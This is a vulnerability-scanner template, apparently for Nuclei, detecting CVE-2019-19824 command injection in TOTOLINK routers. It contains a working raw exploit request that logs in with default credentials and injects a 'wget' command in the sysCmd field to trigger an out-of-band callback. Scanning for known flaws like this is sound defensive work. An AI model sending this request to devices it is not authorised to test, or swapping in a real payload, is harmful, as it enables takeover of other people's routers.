id: CVE-2019-19824

info:
  name: TOTOLINK  - Remote Code Execution
  author: gy741
  severity: high
  description: On certain TOTOLINK Realtek SDK based routers, an authenticated attacker may execute arbitrary OS commands via the sysCmd parameter to the boafrm/formSysCmd URI, even if the GUI (syscmd.htm) is not available. This allows for full control over the device's internals. This affects A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, and N100RE through 3.4.0.
  reference:
    - https://sploit.tech/2019/12/16/Realtek-TOTOLINK.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-19824
    - https://cybersecurity.att.com/blogs/labs-research/att-alien-labs-finds-new-golang-malwarebotenago-targeting-millions-of-routers-and-iot-devices-with-more-than-30-exploits
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2019-19824
    cwe-id: CWE-78
  tags: cve,cve2019,totolink,rce,router

requests:
  - raw:
      - |
        POST /boafrm/formSysCmd HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46cGFzc3dvcmQ=
        Content-Type: application/x-www-form-urlencoded

        submit-url=%2Fsyscmd.htm&sysCmdselect=5&sysCmdselects=0&save_apply=Run+Command&sysCmd=wget+http://{{interactsh-url}}

    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the HTTP Interaction
        words:
          - "http"